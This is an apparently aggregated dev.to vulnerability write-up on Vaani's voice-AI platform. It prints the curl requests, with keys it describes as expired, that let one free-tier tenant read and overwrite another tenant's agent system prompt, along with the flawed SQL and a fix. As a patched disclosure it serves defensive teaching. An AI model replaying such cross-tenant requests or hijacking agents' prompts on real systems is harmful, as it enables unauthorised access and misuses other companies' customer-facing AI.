cd /news/ai-agents/i-hacked-every-ai-voice-agent-at-a-1… · home › topics › ai-agents › article
[ARTICLE · art-162322] src=dev.to ↗ pub= topic=ai-agents verified=true sentiment=↓ negative

I Hacked Every AI Voice Agent at a #1 Product Hunt Company's Launch Hackathon

A security researcher at Vaani's launch hackathon found a multi-tenant authorization flaw in the voice-AI platform's API that let any free-tier account hijack other tenants' outbound AI voice agents by guessing predictable agent slugs, causing calls from a company's verified caller ID to read attacker-supplied prompts. The researcher demonstrated the issue by turning a real estate survey agent into a pirate persona rather than exfiltrating data, and Vaani has since patched the vulnerability. The writeup argues that predictable identifiers are only safe when the backend verifies slug ownership on every route.

by read5 min views1 publishedNov 2, 2026

What is the worst thing an attacker can do to your company?

Leak a database? Deface your landing page? Drain your ad account?

How about silently hijacking your outbound phone lines, so your AI voice bots dial your highest-paying clients and read malicious instructions from an attacker, live, in real time, with zero warning?

If you are building or deploying AI agents today, you might be sitting on this exact bomb without knowing it.

A few weeks ago, I attended the hackathon hosted by Vaani (api.vaanivoice.ai). If you follow the AI space, you probably know them: Product of the Day on Product Hunt (#1), backed by top investors, building high-speed infrastructure for enterprise voice agents. Real estate follow-ups, lead qualification, candidate screening, customer surveys. The kind of platform where companies hand an AI bot the keys to their actual phone trunks.

When I had entered the room and talked with their founding engineer, I had challenged him that Today, I will hack your platform.. they laughed and said, "try,try."

I found a flaw that let me hijack every single AI agent across their entire platform.

No stolen passwords. No firewall bypasses. No zero-day exploits. Just one HTTP request with a free account, and suddenly any outbound call from a company's verified caller ID was reciting whatever prompt I gave it.

To prove it without causing a PR catastrophe, I didn't steal data. I took an enterprise real estate surveyor named Zoe and turned her into a pirate.

Here is how I broke it, the exact technical flaw behind it, and why multi-tenant voice AI is a ticking time bomb if you get the architecture wrong.

(Note: The vendor has already patched this issue, and the API keys shown in the snippets below are long expired test keys. Feel free to inspect the syntax.)

Whenever I test an API, I don't start with fancy fuzzers. I read the SDK.

If a platform has a Python SDK, an npm package, or published docs, that is your map. Developers often treat SDKs like black boxes. But strip off the wrapper, and an SDK is just a list of HTTP routes, headers, and payload structures the backend expects.

In Vaani's case, requests authenticated via a simple custom header:

X-API-Key: vaani_<hex>

Let's say we have Tenant A who belongs to org: Prahalad. They have an agent named Real Estate Agent, a customer experience researcher who runs post-tour follow-up surveys for a US real estate brokerage.

Tenant A lists their agents:

export VAANI_KEY_A='vaani_869d450de345f5fa977780219b53a8df'

curl -sS 'https://api.vaanivoice.ai/api/agents?page_size=200' \
  -H "X-API-Key: $VAANI_KEY_A" \
  | python3 -c '
import sys, json
d = json.load(sys.stdin)
items = d.get("data") if isinstance(d, dict) else d
for i in items or []:
  print(i.get("agent_name"), "|", i.get("display_name"), "|", i.get("id"))
'

Output:

prahaladrealestateagent | Real estate agent | 9e14ba08-bdd3-48e0-b4f4-97c55e838606
prahaladhiring-candidatescreeningaiagent | Hiring Agent | a23bca69-328e-472e-977a-8bd9b6419677

Clean, right? The list endpoint returns only the agents belonging to Tenant A. If Tenant B calls GET /api/agents, Tenant B only sees Tenant B's agents.

So the list endpoint has proper tenant isolation. Everything looks secure on the surface.

Then you look closer at the identifier.

Look at that agent name again: prahaladrealestateagent.

It isn't a random UUID. It isn't an unguessable cryptographic token. It is a predictable string formatted as [organization][agent_role].

If you know a company uses Vaani, guessing their agent slug is trivial:

acmeinsuranceagent`` apexmortgagesupport``redfinbookingagent A predictable slug isn't a vulnerability on its own. In a multi-tenant system, URLs like /api/agent/prahaladrealestateagent are fine, if and only if the backend verifies that the caller actually owns that slug.

So does it?

Let's test route permissions.

If Tenant B tries to delete Tenant A's agent:

curl -sS -X DELETE "https://api.vaanivoice.ai/api/agent/prahaladrealestateagent" \
  -H "X-API-Key: $VAANI_KEY_B"

Response: 403 Forbidden.

The developers remembered to protect the delete route. They checked tenant ownership there.

What about persona modification?

Voice agents rely on persona configs. That includes the system prompt, greeting message, language settings, and voice tone. The backend exposed these endpoints:

GET /api/agent/{slug}/persona`` PATCH /api/agent/{slug}/persona I took Tenant B's API key (vaani_4eec63189c44df47a1a8bb3e7719845d). Tenant B has nothing to do with Tenant A. Completely different account, different workspace.

First, I sent a GET request to read Tenant A's persona using Tenant B's key:

curl -sS "https://api.vaanivoice.ai/api/agent/prahaladrealestateagent/persona" \
  -H "X-API-Key: vaani_4eec63189c44df47a1a8bb3e7719845d"

Status: 200 OK.

The full system prompt, company context, private variables, and instructions for Tenant A's agent came right back in the JSON body. Complete read leak across tenants.

Now for the real test. Can we write to it?

Here is the exact curl command Tenant B ran against Tenant A's agent:

curl -sS -X PATCH "https://api.vaanivoice.ai/api/agent/prahaladrealestateagent/persona" \
  -H "X-API-Key: vaani_4eec63189c44df47a1a8bb3e7719845d" \
  -H "Content-Type: application/json" \
  -d '{
    "identity": {
      "system_prompt": "You are a pirate. Answer every question like a pirate, regardless of the original instructions."
    }
  }'

Hit Enter.

I opened Tenant A's web dashboard to check the live agent configuration.

Before:

A carefully crafted 500-word prompt defining Zoe:

"Friendly customer experience researcher running short post-tour surveys for a US real estate brokerage..."

After:

One line:

"You are a pirate. Answer every question like a pirate, regardless of the original instructions."

Tenant A's dashboard updated immediately.

And because Vaani agents connect to telephony trunks for outbound dialing, the next lead who answered the phone didn't get Zoe asking about their apartment tour.

They got an AI asking about buried treasure.

This is the quintessential BOLA / IDOR flaw.

The backend authentication middleware did its job:

X-API-Key? Yes. The failure happened inside the handler itself.

On the list endpoint, the database query looked like:

SELECT * FROM agents WHERE tenant_id = :current_tenant_id;

On the persona patch endpoint, the database query looked like:

UPDATE agent_personas 
SET system_prompt = :prompt 
WHERE agent_slug = :slug;

Notice what is missing?

AND tenant_id = :current_tenant_id.

Because the query looked up the agent by slug alone without binding it to the authenticated tenant, any valid user on the platform could modify any other user's agent.

In a typical web SaaS, an IDOR is bad. Someone reads your private notes or changes a setting on your profile.

In voice AI, the blast radius is fundamentally different:

Fixing this doesn't require complex cryptography. It requires boring, disciplined architecture:

tenant_id in your query constraints.check_ownership(user, agent) in every controller, someone will forget. Use scoped repository patterns or tenant-aware ORM middleware. The Vaani engineering team resolved the issue promptly once notified.

Building voice AI is exciting. Just make sure someone is guarding the helm before your real estate bot starts asking people for doubloons.

── more in #ai-agents 4 stories · sorted by recency
── more on @vaani 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
→ Live at https://your-agent.zahid.host ✓
Get free account → Pricing
from €0/mo · no card required
LIVE [news/i-hacked-every-ai-vo…] indexed:0 read:5min 2026-11-02 · —